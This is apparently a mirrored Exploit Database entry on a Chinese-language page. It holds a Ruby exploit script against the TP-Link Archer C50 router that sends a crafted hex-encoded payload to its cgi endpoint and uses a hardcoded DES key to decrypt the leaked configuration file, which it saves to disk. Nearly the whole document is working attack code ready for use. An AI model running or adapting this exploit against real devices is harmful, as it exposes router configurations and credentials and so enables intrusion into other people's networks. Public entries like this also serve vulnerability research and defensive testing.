TP-Link Archer C50 Wireless Router 171227 – Cross-Site Request Forgery (Configuration File Disclosure)

• Exploit Database
• 12 阅读

• 作者： Wadeek
  日期： 2018-11-12
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/45811/

• # Exploit Title: TP-Link Archer C50 Wireless Router 171227 - Cross-Site Request Forgery (Configuration File Disclosure)
  # Date: 2018-11-07
  # Exploit Author: Wadeek
  # Vendor Homepage: https://www.tp-link.com/
  # Hardware Version: Archer C50 v3 00000001
  # Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware
  # Firmware Version: <= Build 171227
  
  #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  url = "http://192.168.0.1:80/"
  #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  
  require('base64')
  require('openssl')
  require('mechanize')
  agent = Mechanize.new()
  # require HTTP Proxy (chunk error)
  agent.set_proxy("127.0.0.1", "8080")
  
  def scan(agent, url, path, query)
  begin
  	puts(path)
  	response = agent.post(url+path, query, {
  		"User-Agent" => "",
  		"Accept" => "*/*",
  		"Referer" => "http://192.168.0.1/mainFrame.htm",
  		"Content-Type" => "text/plain",
  		"Connection" => "keep-alive",
  		"Cookie" => ""
  	})
  rescue Exception => e
  	begin
  	puts(e.inspect())
  	#
  	body = e.page().body()
  	content = Base64.decode64(body.scan(/ZAP Error \[java\.io\.IOException\]\: Bad chunk size\: (.*)/).join())
  	puts(body.inspect())
  	cipher = OpenSSL::Cipher.new("des-ecb")
  	cipher.key = "478DA50BF9E3D2CF"
  	cipher.decrypt()
  	output = cipher.update(content)
  	#
  	file = File.open("conf.bin.raw", "wb")
  	file.write(output)
  	file.close()
  	rescue Exception => e
  		puts(e)
  	end
  	puts("")
  end
  end
  
  #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  payload = "\x5b\x49\x47\x44\x5f\x44\x45\x56\x5f\x49\x4e\x46\x4f\x23\x30"+
  "\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c"+
  "\x30\x2c\x30\x2c\x30\x2c\x30\x5d\x30\x2c\x34\xd\xa\x6d\x6f\x64"+
  "\x65\x6c\x4e\x61\x6d\x65\xd\xa\x64\x65\x73\x63\x72\x69\x70\x74"+
  "\x69\x6f\x6e\xd\xa\x58\x5f\x54\x50\x5f\x69\x73\x46\x44\xd\xa\x58"+
  "\x5f\x54\x50\x5f\x50\x72\x6f\x64\x75\x63\x74\x56\x65\x72\x73\x69"+
  "\x6f\x6e\xd\xa\x5b\x45\x54\x48\x5f\x53\x57\x49\x54\x43\x48\x23\x30"+
  "\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c"+
  "\x30\x2c\x30\x2c\x30\x5d\x31\x2c\x31\xd\xa\x6e\x75\x6d\x62\x65\x72"+
  "\x4f\x66\x56\x69\x72\x74\x75\x61\x6c\x50\x6f\x72\x74\x73\xd\xa\x5b"+
  "\x53\x59\x53\x5f\x4d\x4f\x44\x45\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c"+
  "\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x5d\x32"+
  "\x2c\x31\xd\xa\x6d\x6f\x64\x65\xd\xa\x5b\x2f\x63\x67\x69\x2f\x63\x6f"+
  "\x6e\x66\x65\x6e\x63\x6f\x64\x65\x23\x30\x2c\x30\x2c\x30\x2c\x30"+
  "\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30"+
  "\x5d\x33\x2c\x30\xd\xa\x3d"
  #puts(payload)
  scan(agent, url, "cgi?1&1&1&8", payload)
  #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!